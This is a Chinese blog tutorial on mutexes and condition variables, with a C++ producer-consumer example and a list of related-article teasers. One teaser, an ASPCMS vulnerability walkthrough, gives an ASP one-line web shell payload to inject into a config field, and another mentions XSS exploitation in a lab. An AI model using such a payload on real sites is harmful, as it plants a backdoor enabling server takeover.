进程通信(7):互斥锁(mutex)和条件变量

news2024/9/24 19:15:19

互斥锁(mutex)用于互斥访问临界区,只允许一个线程访问共享变量。
条件变量可以让获取互斥锁 的线程在某个条件变量上等待,直到有其他线程把他唤醒。

互斥锁和条件变量通常一起使用实现同步。

互斥锁的操作

lock(mutex); // 获取锁,如果获取不到锁,线程进入阻塞状态,释放CPU

unlock(mutex) ;//释放锁

try_lcok(mutex);//非阻塞 获取锁,如果获取不到,就返回错误码

条件变量的操作

condition_variable cond;

cond.wait(..);//在条件变量上等待,线程进入阻塞状态,直到有其他线程把它唤醒

cond.notify(..); //唤醒等待在cond的某个线程

cond.notifyall(..);//唤醒等待在cond的所有线程

使用互斥锁和条件变量解决消费者生成者问题

#include <iostream>
#include <mutex>
#include <thread>
#include <vector>
#include <condition_variable>
class Shared{
public:
    std::mutex mutex;
    std::condition_variable cond_var;
    std::vector<int> buffer;
    const int capacity;  //缓冲区容量
    Shared(int cap):capacity(cap){}   
    void produce(int value) {
        std::unique_lock<std::mutex> lock(mutex);
        while (buffer.size() == capacity) cond_var.wait(lock); 
        buffer.push_back(value);   std::cout << "Produced: " << value << "\n";
        cond_var.notify_all();// 通知所有等待的线程
    }
    int consume() {
        std::unique_lock<std::mutex> lock(mutex);
        while (buffer.empty()) {
            cond_var.wait(lock); // 缓冲区空时等待
        }
        int val = buffer.front();
        buffer.erase(buffer.begin());    std::cout << "Consumed: " << val << "\n";
        cond_var.notify_all(); // 通知所有等待的线程
        return val;
    }
};

Shared shared(10); // 缓冲区容量为10

void producer_function() {
    for (int i = 0; i < 20; ++i) {
        shared.produce(i);
    }
}

void consumer_function() {
    for (int i = 0; i < 20; ++i) {
        shared.consume();
    }
}

int main() {
    std::thread producer(producer_function);
    std::thread consumer(consumer_function);
    producer.join();
    consumer.join();
    return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1976106.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

达梦数据库:链接数据库报错:无效的模式名[xxx]

目录 简介达梦数据库驱动报错信息排查原因解决 简介 1、对接达梦数据库 2、链接数据库时报错 3、达梦数据开启了大小写敏感 达梦数据库驱动 <dependency><groupId>com.dameng</groupId><artifactId>DmJdbcDriver18</artifactId><version&…

C语言程序设计-[1] 基础语法

1、字符集 字符集&#xff1a;是ASCII字符集的一个子集。 注&#xff1a;基本上就是电脑键盘可以输入的一些字符。 2、标识符 标识符&#xff1a;用来命名程序中的一些实体&#xff0c;如&#xff1a;变量、常量、函数、数组名、类型名、文件名等。由一个或多个字符组成。 —…

设计模式-六大设计原则

1、单一职责原则&#xff08;Single Responsibitity Principle&#xff09; 一个类或者模块只负责完成一个职责&#xff1b; 【实例】 上面这个类&#xff0c;当此类只是用来展示用户信息&#xff0c;则设计符合单一职责&#xff1b;当此用户的地址经常需要使用&#xff0c;比…

20240803---特征选择与稀疏学习

1.特征选择&#xff1a;在机器学习任务中&#xff0c;通过样本的特征预测样本所对应的值。 &#xff08;1&#xff09;无关特征&#xff1a;通过空气的湿度、环境的温度、风力、当地人的男女比例来预测明天是否下雨。男女比例属于无关特征。 &#xff08;2&#xff09;冗余特征…

SSM学习11:springboot基础

教学视频 黑马程序员SpringBoot3Vue3全套视频教程&#xff0c;springbootvue企业级全栈开发从基础、实战到面试一套通关 springboot基础 搭建项目 修改配置文件 修改application.yml&#xff08;后缀名不对&#xff0c;可以改成这个&#xff09;&#xff0c;配置数据库 spr…

基础实验回顾

一、虚拟机网络设定 克隆一台node1 在node1上进行网络配置 进入网卡配置目录 # 红帽9网卡配置文件目录&#xff0c;其他版本不一样 [rootlocalhost ~]# cd /etc/NetworkManager/system-connections/网卡配置文件 [rootlocalhost system-connections]# vim ens160.nmconnect…

@Value获取值和@ConfigurationProperties获取值用法及比较(springboot)

目录 1. 简介1.1 value基本用法 1.2 ConfigurationProperties基本用法 2. 使用2.1 value的使用创建application.yml创建Person.java创建Dog类写一个测试类 2.2 ConfigurationProperties的用法创建Person2.javaDog类写测试类 3. 区别3.1 松散绑定例子 3.2 SpEL主要用途特点例子 …

240803-沉侵式翻译插件配置Ollama的API实现网页及PDF文档的翻译

1. 在插件中点击Options按钮 2. 在开发者模式中启动Enable Beta Testing Features 3 在General中进行设置 ## 4. 在Expand中设置API的URL 5. Qwen&#xff1a;0.5B网页翻译效果 6. Qwen&#xff1a;0.5BPDF翻译效果 7. 参考文献 gemma - 给沉浸式翻译插件配置本地大模型o…

剪画小程序:致敬奥运举重冠军:照片变成动漫风格!

在巴黎奥运会的赛场上&#xff0c;那些奥运冠军们的身影如同璀璨星辰&#xff0c;闪耀着无尽的光芒&#xff01; 看&#xff0c;举重冠军力拔山兮气盖世&#xff0c;那坚定的眼神中透露出无畏的勇气&#xff0c;爆发的力量更是震撼人心。 借助剪画&#xff0c;将这令人心潮澎湃…

【Vue】computed计算对象不生效问题?

问题描述 最近使用vuex来管理全局状态&#xff0c;遇到了computed计算state中数据却不生效的问题。 原因分析&#xff1a; 先看vue官网示例&#xff1a; computed接收的是一个getter函数&#xff0c;但是这个getter函数是懒加载并且有缓存的&#xff0c;当计算属性最终计算…

ORACLE和PG的饭圈文化

饭圈文化: 就是FANS! 饭圈&#xff0c;网络用语中指粉丝圈子的简称&#xff0c;另外“粉丝”一词的英文单词为“fans”&#xff0c;单词fans本身由fans构成&#xff0c;s一般表示多个&#xff0c;其中的fan可以直接音译为“饭”。 [1]粉丝群体叫“饭”&#xff0c;他们组成的…

特定领域软件架构-系统架构师(三十八)

软件架构复用 有三个阶段&#xff1a; 首先构造/获取可复用的软件资产其次管理这些资产&#xff08;构件库&#xff09;最后针对这些需求&#xff0c;从这些资产中选择可复用的部分&#xff0c;满足需求应用系统。 特定领域软件架构 DSSA&#xff08;Domain Specific softwa…

小程序背景图片无法通过 WXSS 获取

问题&#xff1a;pages/index/index.wxss 中的本地资源图片无法通过 WXSS 获取 可以使用网络图片&#xff0c;或者 base64&#xff0c;或者使用标签。 将图片转换为base64&#xff0c;地址 base64图片在线转换工具 - 站长工具 在这里把要使用的图片转换一把&#xff0c;然后将得…

xss漏洞(三,xss进阶利用)

本文仅作为学习参考使用&#xff0c;本文作者对任何使用本文进行渗透攻击破坏不负任何责任。 前言&#xff1a; 1&#xff0c;本文基于dvwa靶场以及PHP study进行操作&#xff0c;靶场具体搭建参考上一篇&#xff1a; xss漏洞&#xff08;二&#xff0c;xss靶场搭建以及简单…

点可云ERP进销存V8版本—销货订单的操作使用与关联单据处理

本章将要讲解销货订单的详细操作内容&#xff0c;以及导入导出、打印功能&#xff0c;还包括与销货订单相关联的其他单据之间的处理关系。 销货订单是指客户向用户企业提交的购买产品或者服务的请求或者指示&#xff0c;它记录了客户的需求和购买意向&#xff0c;并用于指导和管…

锅总浅析防火墙

防火墙简介 防火墙是一种网络安全设备或软件&#xff0c;用于监控和控制进出网络流量&#xff0c;基于一组预定义的安全规则来决定允许或阻止特定的网络流量。防火墙的主要目的是保护网络和计算机系统免受未经授权的访问、攻击和其他安全威胁。以下是防火墙的几个关键概念和类…

技术前沿:7个未来派网站模板的创新探索

1、即时设计资源广场 即时设计——可实时协作的专业 UI 设计工具https://ad.js.design/online/ui/?sourcecsdn&plan802即时设计是一种原型设计软件&#xff0c;其材料广场非常丰富&#xff0c;涵盖了组件、页面、原型、设计、思维导图、流程图、操作图等方面。因为即时设…

ASPCMS 漏洞详细教程

一.后台修改配置文件拿shell 登录后台 如下操作 保存并抓包 将slideTextStatus的值修改为1%25><%25Eval(Request(chr(65)))25><%25 放包&#xff08;连接密码是a&#xff09; 然后用工具连接 成功连接

本科阶段最后一次竞赛Vlog——2024年智能车大赛智慧医疗组准备全过程——3bin模型转化环境的准备

本科阶段最后一次竞赛Vlog——2024年智能车大赛智慧医疗组准备全过程——3bin模型转化环境的准备 ​ 今天给大家带来的是在上一期基础上最重要的一步&#xff0c;这个地方是我开始踩坑的开始。 ​ 当时一开始看教程&#xff0c;不知道怎么看到了高级进阶版。当时也是弄了好久…

声临其境!体验阿里云开源音频基座大模型——FunAudioLLM

千等万等&#xff0c;终于还是等来了阿里最新开源的音频基座大模型FunAudioLLM&#xff0c;真不愧是AI届的活菩萨啊&#xff0c;不过&#xff0c;我心心念念的达摩院寻光AI视频创作平台到底什么时候开放啊&#xff01;&#xff01; 停止发疯&#xff0c;进入正题。。。 引言 …